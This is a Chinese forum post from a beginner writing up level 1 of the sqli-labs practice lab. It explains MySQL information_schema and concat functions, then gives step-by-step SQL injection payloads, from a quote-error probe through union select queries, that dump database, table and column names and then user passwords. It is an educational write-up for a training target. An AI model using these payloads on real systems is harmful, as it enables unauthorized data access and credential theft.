-
-
[原创]sqli-labs第一关
-
发表于: 2018-12-11 15:46 1917
-
刚申请论坛,登陆说让我赶紧升级成初级会员,可是我又不知道发什么帖子好,只能把最近学习的sqli-labs靶场的思路写下来了
预备知识:
- SCHEMATA表:提供了关于数据库的信息
- TABLES表:给出了关于数据库中的表的信息
- COLUMNS表:给出了表中的列信息
- STATISTICS表:给出了关于表索引的信息
字符连接函数:
- concat(str1,str2,...)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
- group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
开始:
先添加单引号,报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1说明查询语句是:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
'1'' LIMIT 0,1
尝试' or 1=1--+ 这里的 --+是为了把后面的注释掉
'order by 4--+得到列数
-1'union select 1,2,3--+
显示出2,3,说明这里可以回显
爆库:
union select 1,group_concat(schema_name),3 from information_schema.schemata--+
查询schema_name(库名)并放到一个组里,从information_schema.schemata(存放所有数据库名的表)里面
爆表:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询table_name(表名)的信息放在一个组里,从information_schema.tables(存放所有表名的表)中table_schema='security'的地方
注:table_schema是tables表中的一个字段
爆列:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询column_name(列名)的信息,放在一个组里,从information_schema.coulmns(存放所有列名的表)中table_name='users'的地方
爆数据:
union select 1,username,password from users where id=2--+
从users表中的id=2的地方查询username和password的内容
结束
有错误的地方大家告诉我啊(捂脸)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- 对某款智能手表的分析与攻击 6383
- [原创][车联网安全]使用STM32开发板实战汽车UDS诊断 15009
- [分享]binwalk路径穿越导致RCE(CVE-2022-4510) 9977
- [原创]Hack-A-Sat 2020预选赛 beckley 13582
- [原创]一个BLE智能手环的分析 31535